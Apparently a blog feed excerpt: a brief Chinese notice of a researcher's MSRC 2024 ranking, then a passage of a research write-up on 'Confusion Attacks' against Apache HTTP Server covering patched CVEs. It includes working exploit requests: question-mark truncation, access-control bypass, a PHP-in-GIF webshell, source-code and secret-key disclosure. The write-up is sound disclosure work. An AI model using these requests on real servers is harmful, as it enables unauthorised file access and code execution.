Angelboy 入列微軟 MSRC 2024 前百大最有價值資安研究員!

$
0
0

恭喜 DEVCORE 資深資安研究員 Angelboy 榮獲 Microsoft 的 MSRC 2024 Most Valuable Security Researchers 的殊榮!除了在不分項 TOP 100 名單中榮獲 #33 名,在 Angelboy 長年研究的 Windows 領域中,他更以 #9 的名次擠入前十大行列。

這不僅是 Angelboy 首次登上該年度榜單,同時也是該名單中排名最高的台灣資安研究員。

Microsoft 旗下的 Microsoft Security Response Center(MSRC,或稱 Microsoft 安全性回應中心)長期藉 Microsoft Researcher Recognition Program(MRRR)計畫,公開表揚協助 Microsoft 挖掘系統安全漏洞的資安研究員,以此致謝優秀資安研究員為 Microsoft 的客戶及產品安全所付出的努力。

Microsoft 於 7 日公布的 MSRC 2024 Most Valuable Security Researchers 名單,是根據 2023 年 7 月至 2024 年 6 月,全球各地資安研究員向 MSRC 回報的漏洞得分所統計而得。在整體不分項名單中,Angelboy 獲得了 #33 名的殊榮。而針對 Microsoft 旗下各類型產品的 Windows 類別中,Angelboy 則入列 TOP 10,獲得 #9 的成績,並經認證全數漏洞回報皆為有效回報。

再次恭喜 Angelboy 奪得此一殊榮!

參考資料:

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

$
0
0
Orange Tsai (@orange_8361)  |  繁體中文版本 |  English Version

Hey there! This is my research on Apache HTTP Server presented at Black Hat USA 2024. Additionally, this research will also be presented at HITCON and OrangeCon. If you’re interested in getting a preview, you can check the slides here:

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

Also, I would like to thank Akamai for their friendly outreach! They released mitigation measures immediately after this research was published (details can be found on Akamai’s blog).


TL;DR

This article explores architectural issues within the Apache HTTP Server, highlighting several technical debts within Httpd, including 3 types of Confusion Attacks, 9 new vulnerabilities, 20 exploitation techniques, and over 30 case studies. The content includes, but is not limited to:

  1. How a single ? can bypass Httpd’s built-in access control and authentication.
  2. How unsafe RewriteRules can escape the Web Root and access the entire filesystem.
  3. How to leverage a piece of code from 1996 to transform an XSS into RCE.


Outline


Before the Story

This section is just some personal murmurs. If you’re only interested in the technical details, jump straight to — How Did the Story Begin?

As a researcher, perhaps the greatest joy is seeing your work recognized and understood by peers. Therefore, after completing a significant research with fruitful results, it is natural to want the world to see it — which is why I’ve presented multiple times at Black Hat USA and DEFCON. As you might know, since 2022, I have been unable to obtain a valid travel authorization to enter the U.S. (For Taiwan, travel authorization under the Visa Waiver Program can typically be obtained online within minutes to hours), leading me to miss the in-person talk at Black Hat USA 2022. Even a solo trip to Machu Picchu and Easter Island in 2023 couldn’t transit through the U.S. :(

To address this situation, I started preparing for a B1/B2 visa in January this year, writing various documents, interviewing at the embassy, and endlessly waiting. It’s not fun. But to have my work seen, I still spent a lot of time seeking all possibilities, even until three weeks before the conference, it was unclear whether my talk would be canceled or not (BH only accepted in-person talks, but thanks to the RB, it could ultimately be presented in pre-recorded format). So, everything you see, including slides, videos, and this blog, was completed within just a few dozen days. 😖

As a pure researcher with a clear conscience, my attitude towards vulnerabilities has always been — they should be directly reported to and fixed by the vendor. Writing these words isn’t for any particular reason, just to record some feelings of helplessness, efforts in this year, and to thank those who have helped me this year, thank you all :)


How Did the Story Begin?

Around the beginning of this year, I started thinking about my next research target. As you might know, I always aim to challenge big targets that can impact the entire internet, so I began searching for some complex topics or interesting open-source projects like Nginx, PHP, or even delved into RFCs to strengthen my understanding of protocol details.

While most attempts ended in failure (though a few might become topics for next blog posts 😉), reading these codes reminded me of a quick review I had done of Apache HTTP Server last year! Although I didn’t dive deep into the code due to the work schedule, I had already “smelled” something not quite right about its coding style at that time.

So this year, I decided to continue on that research, transforming the “bad smells” from an indescribable “feeling” into concrete research on Apache HTTP Server!


Why Apache HTTP Server Smells Bad?

Firstly, the Apache HTTP Server is a world constructed by “modules,” as proudly declared in its official documentation regarding its modularity:

Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.

The entire Httpd service relies on hundreds of small modules working together to handle a client’s HTTP request. Among the 136 modules listed by the official documentation, about half are either enabled by default or frequently used by websites!

What’s even more surprising is that these modules also maintain a colossal request_rec structure while processing client HTTP requests. This structure includes all the elements involved in handling HTTP, with its detailed definition available in include/httpd.h. All modules depend on this massive structure for synchronization, communication, and data exchange. As an HTTP request passes through several phases, modules act like players in a game of catch, passing the structure from one to another. Each module even has the ability to modify any value in this structure according to its own preferences!

This type of collaboration is not new from a software engineering perspective. Each module simply focuses on its own task. As long as everyone finishes their work, then the client can enjoy the service provided by Httpd. This approach might work well with a few modules, but what happens when we scale it up to hundreds of modules collaborating — can they really work well together?🤔

Our starting point is straightforward — the modules do not fully understand each other, yet they are required to cooperate. Each module might be implemented by different people, with the code undergoing years of iterations, refactors, and modifications. Do they really still know what they are doing? Even if they understand their own duty, what about other modules’ implementation details? Without any good development standards or guidelines, there must be several gaps that we can exploit!


A Whole New Attack — Confusion Attack

Based on these observations, we started focusing on the “relationships” and “interactions” among these modules. If a module accidentally modifies a structure field that it considers unimportant, but is crucial for another module, it could affect the latter’s decisions. Furthermore, if the definitions or semantics of the fields are not precise enough, causing ambiguities in how modules understand the same fields, it could lead to potential security risks as well!

From this starting point, we developed three different types of attacks, as these attacks are more or less related to the misuse of structure fields. Hence, we’ve named this attack surface “Confusion Attack,” and the following are the attacks we developed:

  1. Filename Confusion
  2. DocumentRoot Confusion
  3. Handler Confusion

Through these attacks, we have identified 9 different vulnerabilities:

  1. CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
  2. CVE-2024-39573 - Apache HTTP Server proxy encoding problem
  3. CVE-2024-38477 - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request
  4. CVE-2024-38476 - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect
  5. CVE-2024-38475 - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path
  6. CVE-2024-38474 - Apache HTTP Server weakness with encoded question marks in backreferences
  7. CVE-2024-38473 - Apache HTTP Server proxy encoding problem
  8. CVE-2023-38709 - Apache HTTP Server: HTTP response splitting
  9. CVE-2024-?????? - [redacted]

These vulnerabilities were reported through the official security mailing list and were addressed by the Apache HTTP Server in the 2.4.60 update published on 2024-07-01.

As this is a new attack surface from Httpd’s architectural design and its internal mechanisms, naturally, the first person to delve into it can find the most vulnerabilities. Thus, I currently hold the most CVEs from Apache HTTP Server 😉. it leads to many updates that are not backward compatible. Therefore, patching these issues is not easy for many long-running production servers. If administrators update without careful consideration, they might disrupt existing configurations, causing service downtime. 😨

Now, it’s time to get started with our Confusion Attacks! Are you ready?


🔥 1. Filename Confusion

The first issue stems from confusion regarding the filename field. Literally, r->filename should represent a filesystem path. However, in Apache HTTP Server, some modules treat it as a URL. If, within an HTTP context, most modules consider r->filename as a filesystem path but some others treat it as a URL, this inconsistency can lead to security issues!


⚔️ Primitive 1-1. Truncation

So, which modules treat r->filename as a URL? The first is mod_rewrite, which allows sysadmins to easily rewrite a path pattern to a specified substitution target using the RewriteRule directive:

RewriteRule Pattern Substitution [flags]

The target can be either a filesystem path or a URL. This feature likely exists for user experience. However, this “convenience” also introduces risks. For instance, while rewriting the target paths, mod_rewrite forcefully treats all results as a URL, truncating the path after a question mark %3F. This leads to the following two exploitations.

Path: modules/mappers/mod_rewrite.c#L4141

/*
 * Apply a single RewriteRule
 */staticintapply_rewrite_rule(rewriterule_entry*p,rewrite_ctx*ctx){ap_regmatch_tregmatch[AP_MAX_REG_MATCH];apr_array_header_t*rewriteconds;rewritecond_entry*conds;// [...]for(i=0;i<rewriteconds->nelts;++i){rewritecond_entry*c=&conds[i];rc=apply_rewrite_cond(c,ctx);// [...] do the remaining stuff}/* Now adjust API's knowledge about r->filename and r->args */r->filename=newuri;if(ctx->perdir&&(p->flags&RULEFLAG_DISCARDPATHINFO)){r->path_info=NULL;}splitout_queryargs(r,p->flags);// <------- [!!!] Truncate the `r->filename`// [...]}
✔️ 1-1-1. Path Truncation

The first primitive leverages this truncation on the filesystem path. Imagine the following RewriteRule:

RewriteEngineOnRewriteRule"^/user/(.+)$""/var/user/$1/profile.yml"

The server would open the corresponding profile based on the username followed by the path /user/, for example:

$ curl http://server/user/orange
 # the output of file `/var/user/orange/profile.yml`

Since mod_rewrite forcibly treats all rewritten result as a URL, even when the target is a filesystem path, it can be truncated at a question mark, cutting off the tailing /profile.yml, like:

$ curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`

This is our first primitive — Path Truncation. Let’s pause our exploration of this primitive here for a moment. Although it might seem like a minor flaw for now, remember it— it will reappear in later attacks, gradually tearing open this seemingly little breach! 😜

✔️ 1-1-2. Mislead RewriteFlag Assignment

The second exploitation of the truncation primitive is to mislead the assignment of RewriteFlags. Imagine a sysadmin managing websites and their corresponding handlers through the following RewriteRule:

RewriteEngineOnRewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

If a request ends with the .php extension, it adds the corresponding handler for the mod_php (this can also be an Environment Variable or Content-Type; you can refer to the official RewriteRule Flags manual for details).

Since the truncation behavior of the mod_rewrite occurs after the regular expression match, an attacker can use the original rule to apply flags to requests they shouldn’t apply to by using a ?. For example, an attacker could upload a GIF image embedded with malicious PHP code and execute it as a backdoor through the following crafted request:

$ curl http://server/upload/1.gif
 # GIF89a <?=`id`;>$ curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)


⚔️ Primitive 1-2. ACL Bypass

The second primitive of Filename Confusion occurs in the mod_proxy. Unlike the previous primitive which treats targets as a URL in all cases, this time the authentication and access control bypass is caused by the inconsistent semantic of r->filename among the modules!

It actually makes sense for the mod_proxy to treat r->filename as a URL, given that the primary purpose of a Proxy is to “redirect” requests to other URLs. However, security issues when different components interact — especially the case when most modules by default treat the r->filename as a filesystem path, imagine you use a file-based access control, and now mod_proxy treats r->filename as a URL; this inconsistency can lead to the access control or authentication bypass!

A classic example is when sysadmins use the Files directive to restrict a single file, like admin.php:

<Files"admin.php">
AuthTypeBasicAuthName"Admin Panel"AuthUserFile"/etc/apache2/.htpasswd"Require valid-user
</Files>

This type of configuration can be bypassed directly under the default PHP-FPM installation! It’s also worth mentioning that this is one of the most common ways to configure authentication in Apache HTTP Server! Suppose you visit a URL like this:

http://server/admin.php%3Fooo.php

First, in the HTTP lifecycle at this URL, the authentication module will compare the requested filename with the protected files. At this point, the r->filename field is admin.php?ooo.php, which obviously does not match admin.php, so the module will assume that the current request does not require authentication. However, the PHP-FPM configuration is set to forward requests ending in .php to the mod_proxy using the SetHandler directive:

Path: /etc/apache2/mods-enabled/php8.2-fpm.conf

# Using (?:pattern) instead of (pattern) is a small optimization that# avoid capturing the matching pattern (as $1) which isn't used here<FilesMatch".+\.ph(?:ar|p|tml)$">
SetHandler"proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"</FilesMatch>

The mod_proxy will rewrite r->filename to the following URL and call the sub-module mod_proxy_fcgi to handle the subsequent FastCGI protocol:

proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

Since the backend receives the filename in a strange format, PHP-FPM has to handle this behavior specially. The logic of this handling is as follows:

Path: sapi/fpm/fpm/fpm_main.c#L1044

#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"if(env_script_filename&&strncasecmp(env_script_filename,APACHE_PROXY_FCGI_PREFIX,sizeof(APACHE_PROXY_FCGI_PREFIX)-1)==0){/* advance to first character of hostname */char*p=env_script_filename+(sizeof(APACHE_PROXY_FCGI_PREFIX)-1);while(*p!='\0'&&*p!='/'){p++;/* move past hostname and port */}if(*p!='\0'){/* Copy path portion in place to avoid memory leak.  Note
         * that this also affects what script_path_translated points
         * to. */memmove(env_script_filename,p,strlen(p)+1);apache_was_here=1;}/* ignore query string if sent by Apache (RewriteRule) */p=strchr(env_script_filename,'?');if(p){*p=0;}}

As you can see, PHP-FPM first normalizes the filename and splits it at the question mark ? to extract the actual file path for execution (which is /var/www/html/admin.php). This leads to the bypass, and basically, all authentications or access controls based on the Files directive for a single PHP file are at risk when running together with PHP-FPM!😮

Many potentially risky configurations can be found on GitHub, such as phpinfo() restricted to internal network access only:

# protect phpinfo, only allow localhost and local network access<Files php-info.php>
# LOCAL ACCESS ONLY# Require local # LOCAL AND LAN ACCESSRequire ip 10 172 192.168
</Files>

Adminer blocked by .htaccess:

<Files adminer.php>
Order Allow,Deny
    Denyfromall</Files>

Protected xmlrpc.php:

<Files xmlrpc.php>
Order Allow,Deny
    Denyfromall</Files>

CLI tools prevented from direct access:

<Files"cron.php">
Denyfromall</Files>

Through an inconsistency in how the authentication module and mod_proxy interpret the r->filename field, all the above examples can be successfully bypassed with just a ?.


🔥 2. DocumentRoot Confusion

The next attack we’re diving into is the confusion based on DocumentRoot! Let’s consider this Httpd configuration for a moment:

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

When you visit the URL http://server/html/about, which file do you think Httpd actually opens? Is it the one under the root directory, /about.html, or is it from the DocumentRoot at /var/www/html/about.html?

The answer is — it accesses both paths. Yep, that’s our second Confusion Attack. For any[1]RewriteRule, Apache HTTP Server always tries to open both the path with DocumentRoot and without it! Amazing, right? 😉

[1] Located within Server Config or VirtualHost Block

Path: modules/mappers/mod_rewrite.c#L4939

if(!(conf->options&OPTION_LEGACY_PREFIX_DOCROOT)){uri_reduced=apr_table_get(r->notes,"mod_rewrite_uri_reduced");}if(!prefix_stat(r->filename,r->pool)||uri_reduced!=NULL){// <------ [1] access without rootintres;char*tmp=r->uri;r->uri=r->filename;res=ap_core_translate(r);// <------ [2] access with rootr->uri=tmp;if(res!=OK){rewritelog((r,1,NULL,"prefixing with document_root of %s"" FAILED",r->filename));returnres;}rewritelog((r,2,NULL,"prefixed with document_root to %s",r->filename));}rewritelog((r,1,NULL,"go-ahead with %s [OK]",r->filename));returnOK;}

Most of the time, the version without DocumentRoot doesn’t exist, so Apache HTTP Server goes for the version with the DocumentRoot. But this behavior already lets us “intentionally” access paths outside the Web Root. If today we can control the prefix of the RewriteRule, couldn’t we access any file on the system? That’s the spirit of our second Confusion Attack! You can find numerous problematic configurations on GitHub, and even the examples from official Apache HTTP Server documentations are vulnerable to attacks:

# Remove mykey=???RewriteCond"%{QUERY_STRING}""(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"RewriteRule"(.*)""$1?%1%3"

There are other RewriteRule that are also affected, such as rules based on caching needs or hiding file extensions:

RewriteRule"^/html/(.*)$""/$1.html"

The Rule trying to save bandwidth by opting for compressed versions of static files:

RewriteRule"^(.*)\.(css|js|ico|svg)""$1\.$2.gz"

The rule redirecting old URLs to the main site:

RewriteRule"^/oldwebsite/(.*)$""/$1"

The rule returning a 200 OK for all CORS preflight requests:

RewriteCond %{REQUEST_METHOD} OPTIONSRewriteRule ^(.*)$ $1 [R=200,L]

Theoretically, as long as the target prefix of a RewriteRule is controllable, we can access nearly the entire filesystem. But from the real-world cases above, extensions like .html and .gz are the restrictions that keep us from being truly free. So, can we access files outside .html? I am not sure if you remember the primitive of Path Truncation from the Filename Confusion earlier? By combining these two primitives, we can freely access arbitrary files on the filesystem!

The following demonstrations are all based on this unsafe RewriteRule:

RewriteEngineOnRewriteRule"^/html/(.*)$""/$1.html"


⚔️ Primitive 2-1. Server-Side Source Code Disclosure

Let’s introduce the first primitive of DocumentRoot Confusion — Arbitrary Server-Side Source Code Disclosure!

Since Apache HTTP Server decides whether to consider a file as a Server-Side Script based on the current directory or virtual host configuration, accessing target via an absolute path can confuse Httpd’s logic, causing it to leak contents that should have been executed as code.

✔️ 2-1-1. Disclose CGI Source Code

Starting with the disclosure of server-side CGI source code, since mod_cgi binds the CGI folder to a specified URL prefix via ScriptAlias, directly accessing a CGI file using its absolute path can leak its source code due to the change of URL prefix.

$ curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi$ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # #!/usr/bin/perl# use CGI;# ...# # the source code of download.cgi
✔️ 2-1-2. Disclose PHP Source Code

Next is the disclosure of server-side PHP source code. Given that PHP has numerous use cases, if PHP environments are applied only to specific directories or virtual hosts (which is common in web hosting), accessing PHP files from a virtual host which didn’t support PHP can disclose the source code!

For example, www.local and static.local are two websites hosted on the same server; www.local allows PHP execution while static.local only serves static files. Hence, you can disclose sensitive info from config.php like this:

$ curl http://www.local/config.php
 # the processed result (empty) from config.php$ curl http://www.local/var/www.local/config.php%3F -H"Host: static.local"# the source code of config.php


⚔️ Primitive 2-2. Local Gadgets Manipulation!

Next up is our second primitive — Local Gadgets Manipulation.

First, when we talked about “accessing any file on the filesystem,” did you wonder: “Hey, could an unsafe RewriteRule access /etc/passwd?” The answer is Yes, and also no. What?

Technically, the server does check if /etc/passwd exists, but Apache HTTP Server’s built-in access control blocks our access. Here’s a snippet from Apache HTTP Server’s configuration template:

<Directory />
AllowOverrideNoneRequireall denied
</Directory>

You’ll notice it defaults to blocking access to the root directory / (Require all denied). So our “arbitrary file access” ability seems a bit less “any.” Does that mean the show’s over? Not really! We have already broken the trust of only-allowed-access to the DocumentRoot, it’s a significant step forward!

A closer inspection of different Httpd distributions reveals that Debian/Ubuntu operating systems by default allow /usr/share:

<Directory /usr/share>
AllowOverrideNoneRequireall granted
</Directory>

So, the next step is to “squeeze” all possibilities within this directory. All available resources, such as existing tutorials, documentation, unit test files, and even programming languages like PHP, Python, and even PHP modules could become targets for our abuse!

P.S. Of course, the exploitation here is based on the Httpd distributed by Ubuntu/Debian operating systems. However, in practice, we have also found that some applications remove the Require all denied line from the root directory, allowing direct access to /etc/passwd.

✔️ 2-2-1. Local Gadget to Information Disclosure

Let’s hunt for potentially exploitable files in this directory. First off, if the target Apache HTTP Server has the websocketd service installed, the default package includes an example PHP script dump-env.php under /usr/share/doc/websocketd/examples/php/. If there’s a PHP environment on the target server, this script can be accessed directly to leak sensitive environment variables.

Additionally, if the target has services like Nginx or Jetty installed, though /usr/share is theoretically a read-only copy for package installation, these services still place their default Web Roots under /usr/share, making it possible to leak sensitive web application information, such as the web.xml in Jetty.

  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Here’s a simple demonstration using setup.php from the Davical package, which exists as a read-only copy, to leak contents of phpinfo().

✔️ 2-2-2. Local Gadget to XSS

Next, how to turn this primitive into XSS? On the Ubuntu Desktop environment, LibreOffice, an open-source office suite, is installed by default. We can leverage the language switch feature in the help files to achieve XSS.

Path: /usr/share/libreoffice/help/help.html

varurl=window.location.href;varn=url.indexOf('?');if(n!=-1){// the URL came from LibreOffice help (F1)varversion=getParameterByName("Version",url);varquery=url.substr(n+1,url.length);varnewURL=version+'/index.html?'+query;window.location.replace(newURL);}else{window.location.replace('latest/index.html');}

Thus, even if the target hasn’t deployed any web application, we can still create XSS using an unsafe RewriteRule through files that come within the operating system.

✔️ 2-2-3. Local Gadget to LFI

What about arbitrary file reading? If the target server has PHP or frontend packages installed, like JpGraph, jQuery-jFeed, or even WordPress or Moodle plugins, their tutorials or debug consoles can become our gadgets, for example:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Here’s a simple example exploiting proxy.php from jQuery-jFeed to read /etc/passwd:

✔️ 2-2-4. Local Gadget to SSRF

Finding an SSRF vulnerability is also a piece of cake, for instance, MagpieRSS offers a magpie_debug.php file, which is fabulous gadget for exploiting:

  • /usr/share/php/magpierss/scripts/magpie_debug.php
✔️ 2-2-5. Local Gadget to RCE

So, can we achieve RCE? Hold on, let’s take it step by step! First, This primitive can reapply all known existing attacks again, like an old version of PHPUnit left behind by development or third-party dependencies, can be directly exploited using CVE-2017-9841 to execute arbitrary code. Or phpLiteAdmin installed with a read-only copy, which by default has the password admin. By now, you should see the vast potential of Local Gadgets Manipulation. What remains is to discover even more powerful and universal gadgets!


⚔️ Primitive 2-3. Jailbreak from Local Gadgets

You might ask: “Can’t we really break out of /usr/share?” Of course, we can, that brings out our third primitive — Jailbreak from /usr/share!

In Debian/Ubuntu distributions of Httpd, the FollowSymLinks option is explicitly enabled by default. Even in non-Debian/Ubuntu versions, Apache HTTP Server also implicitly allows Symbolic Links by default.

<Directory />
OptionsFollowSymLinksAllowOverrideNoneRequireall denied
</Directory>
✔️ 2-3-1. Jailbreak from Local Gadgets

So, any package that has a Symbolic Link in its installation directory pointing outside of /usr/share can become a stepping-stone to access more gadgets for further exploitation. Here are some useful Symbolic Links we’ve discovered so far:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/
✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE

To wrap up our jailbreak primitive, let’s showcase how to perform an RCE using a double-hop Symbolic Link in Redmine. In the default installation of Redmine, there’s an instances/ folder pointing to /var/lib/redmine/, and within /var/lib/redmine/, the default/config/ folder points to the /etc/redmine/default/ directory, which holds Redmine’s database setting and secret key.

$ file /usr/share/redmine/instances/
 symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
 symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
 database.yml    secret_key.txt

Thus, through an insecure RewriteRule and two Symbolic Links, we can easily access the application secret key used by Redmine:

$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f
 HTTP/1.1 200 OK
 Server: Apache/2.4.59 (Ubuntu) 
 ...
 6d222c3c3a1881c865428edb79a74405

And since Redmine is a Ruby on Rails application, the content of secret_key.txt is actually the key used for signing and encrypting. The next step should be familiar to those who have attacked RoR before: by embedding malicious Marshal objects, signed and encrypted with the known keys, into cookies, and then achieving remote code execution through Server-Side Deserialization!


🔥 3. Handler Confusion

The final attack I’m going to introduce is the confusion based on Handler. This attack also leverages a piece of technical debt that has been left over from the legacy architecture of Apache HTTP Server. Let’s quickly understand this technical debt through an example — if today you want to run the classic mod_php on Apache HTTP Server, which of the following two directives do you use?

AddHandler application/x-httpd-php .php
AddType    application/x-httpd-php .php

The answer is — both can correctly get PHP running! Here are the two directive syntaxes, and you can see that not only are the usages similar, but even the effects are exactly the same. Why did Apache HTTP Server initially design two different directives doing the same thing?

AddHandlerhandler-nameextension [extension] ...
AddTypemedia-typeextension [extension] ...

Actually, handler-name and media-type represent different fields within Httpd’s internal structure, corresponding to r->handler and r->content_type, respectively. The fact that users can use them interchangeably without realizing it is thanks to a piece of code that has been in Apache HTTP Server since its early development in 1996:

Path: server/config.c#L420

AP_CORE_DECLARE(int)ap_invoke_handler(request_rec*r){// [...]if(!r->handler){if(r->content_type){handler=r->content_type;if((p=ap_strchr_c(handler,';'))!=NULL){char*new_handler=(char*)apr_pmemdup(r->pool,handler,p-handler+1);char*p2=new_handler+(p-handler);handler=new_handler;/* exclude media type arguments */while(p2>handler&&p2[-1]=='')--p2;/* strip trailing spaces */*p2='\0';}}else{handler=AP_DEFAULT_HANDLER_NAME;}r->handler=handler;}result=ap_run_handler(r);

You can see that before entering the ap_run_handler(), if r->handler is empty, the content of the r->content_type is used as the final module handler. This is also why AddType and AddHandler have the identical effect, because the media-type is eventually converted into the handler-name before handling. So, our third Handler Confusion is mainly developed around this behavior.


⚔️ Primitive 3-1. Overwrite the Handler

By understanding this conversion mechanism, the first primitive is — Overwrite the Handler. Imagine if today the target Apache HTTP Server uses AddType to run PHP.

AddType application/x-httpd-php  .php

In the normal process, when accessing http://server/config.php, mod_mime, during the type_checker phase, Httpd copies the corresponding content into r->content_type based on the file extension set by AddType. Since r->handler is not assigned during the entire HTTP lifecycle, ap_invoke_handler() will treat r->content_type as the handler, ultimately calling mod_php to handle the request.

However, what happens if any module “accidentally” overwrites r->content_type before reaching ap_invoke_handler()?

✔️ 3-1-1. Overwrite Handler to Disclose PHP Source Code

The first exploitation of this primitive is to disclose arbitrary PHP source code by the “accidentally-overwrite”. This technique was first mentioned by Max Dmitriev in his research presented at ZeroNights 2021 (kudos to him!), and you can check his slides here:

Apache 0day bug, which still nobody knows of, and which was fixed accidentally

Max Dmitriev observed that by sending an incorrect Content-Length, the remote Httpd server would trigger an unexpected error and inadvertently return the source code of PHP script. Upon investigating the process, he discovered that the issue was due to ModSecurity not properly handling the return value of AP_FILTER_ERROR while using the Apache Portable Runtime (APR) library, leading to a double response. When an error occurred, Httpd attempts to send out HTML error messages, thus accidentally overwriting r->content_type to text/html.

Because ModSecurity did not properly handle the return values, the internal HTTP lifecycle that should have stopped continued. This “side effect” also overwrote the originally added Content-Type, resulting in files that should have been processed as PHP being treated as plain documents, exposing its source code and sensitive settings. 🤫

$ curl -v http://127.0.0.1/info.php -H"Content-Length: x"> HTTP/1.1 400 Bad Request
> Date: Mon, 29 Jul 2024 05:32:23 GMT
> Server: Apache/2.4.41 (Ubuntu)> Content-Type: text/html;charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title>
...
<?php phpinfo();?>

In theory, all configurations based on Content-Type are vulnerable to this type of attack, so apart from the php-cgi paired with mod_actions shown in Max’s slides, pure mod_php coupled with AddType is also affected.

It’s worth mentioning that this side effect was corrected as a request parser bug in Apache HTTP Server version 2.4.44, thus treating this “vulnerability” as fixed until I picked it up again. However, since the root cause is still ModSecurity not handling errors properly, the same behavior can still be successfully reproduced if another code path that triggers AP_FILTER_ERROR is found.

P.S. This issue was reported to ModSecurity through the official security mail on 6/20, and the Project Co-Leader suggested returning to the original GitHub Issue for discussion.

✔️ 3-1-2. Overwrite Handler to ██████ ███████ ██████

Based on the double response behavior and its side effects mentioned earlier, this primitive could lead to other more cool exploitations. However, as this issue has not been fully fixed, further exploitation will be disclosed after the issue is fully resolved.


⚔️ Primitive 3-2. Invoke Arbitrary Handlers

Let’s think more carefully about the previous Overwrite Handler primitive, although it’s caused by ModSecurity not properly handling errors, leading to the request being set with the wrong Content-Type, the deeper fundamental root cause should be — when using r->content_type, Apache HTTP Server actually cannot distinguish its semantics; this field can be set by directive during the request phase or used as the Content-Type header in the server response.

Theoretically, if you can control the Content-Type header in the server response, you could invoke arbitrary module handlers through this legacy code snippet. This is the last primitive of Handler Confusion — invoking any internal module handler!

However, there’s still one last piece of the puzzle. In Httpd, all modifications to r->content_type from the server response occur after that legacy code. So, even if you can control the value of that field, at that point in the HTTP lifecycle, it’s too late to do further exploitation… is that right?

We turned to RFC 3875 for a rescue! RFC 3875 is a specification about CGI, and Section 6.2.2 defines a Local Redirect Response behavior:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Simply put, the specification mandates that under certain conditions, CGI must use Server-Side resources to handle redirects. A close examination of mod_cgi implementation of this specification reveals:

Path: modules/generators/mod_cgi.c#L983

if((ret=ap_scan_script_header_err_brigade_ex(r,bb,sbuf,// <------ [1]APLOG_MODULE_INDEX))){ret=log_script(r,conf,ret,dbuf,sbuf,bb,script_err);// [...]if(ret==HTTP_NOT_MODIFIED){r->status=ret;returnOK;}returnret;}location=apr_table_get(r->headers_out,"Location");if(location&&r->status==200){// [...]}if(location&&location[0]=='/'&&r->status==200){// <------ [2]/* This redirect needs to be a GET no matter what the original
         * method was.
         */r->method="GET";r->method_number=M_GET;/* We already read the message body (if any), so don't allow
         * the redirected request to think it has one.  We can ignore
         * Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
         */apr_table_unset(r->headers_in,"Content-Length");ap_internal_redirect_handler(location,r);// <------ [3]returnOK;}

Initially, mod_cgi executes[1] CGI and scans its output to set the corresponding headers such as Status and Content-Type. If[2] the returned Status is 200 and the Location header starts with a /, the response is treated as a Server-Side Redirection and should be processed[3] internally. A closer look at the implementation of ap_internal_redirect_handler() shows:

Path: modules/http/http_request.c#L800

AP_DECLARE(void)ap_internal_redirect_handler(constchar*new_uri,request_rec*r){intaccess_status;request_rec*new=internal_internal_redirect(new_uri,r);// <------ [1]/* ap_die was already called, if an error occured */if(!new){return;}if(r->handler)ap_set_content_type(new,r->content_type);// <------ [2]access_status=ap_process_request_internal(new);// <------ [3]if(access_status==OK){access_status=ap_invoke_handler(new);// <------ [4]}ap_die(access_status,new);}

Httpd first creates[1] a new request structure and copie[2] the current r->content_type into it. After processing[3] the lifecycle, it calls[4]ap_invoke_handler()— the place including the legacy transformation. So, in Server-Side Redirects, if you can control the response headers, you can invoke any module handler within Httpd. Basically, all CGI implementations in Apache HTTP Server follow this behavior, and here’s a simple list:

  • mod_cgi
  • mod_cgid
  • mod_wsgi
  • mod_uwsgi
  • mod_fastcgi
  • mod_perl
  • mod_asis
  • mod_fcgid
  • mod_proxy_scgi

As for how to trigger this server-side redirect in real-world scenarios? Since you need at least control over the response’s Content-Type and part of the Location, here are two scenarios for reference:

  1. CRLF Injection in the CGI response headers, allowing overwriting of existing HTTP headers by new lines.
  2. SSRF that can completely control the response headers, such as a project hosted on mod_wsgi like django-revproxy.

The following examples are all based on this insecure CRLF Injection for the purpose of demonstration:

#!/usr/bin/perl useCGI;my$q=CGI->new;my$redir=$q->param("r");if($redir=~m{^https?://}){print"Location: $redir\n";}print"Content-Type: text/html\n\n";
✔️ 3-2-1. Arbitrary Handler to Information Disclosure

Starting with invoking an arbitrary handler to disclose information, we use the built-in server-status handler in Apache HTTP Server, which is typically only allowed to be accessed locally:

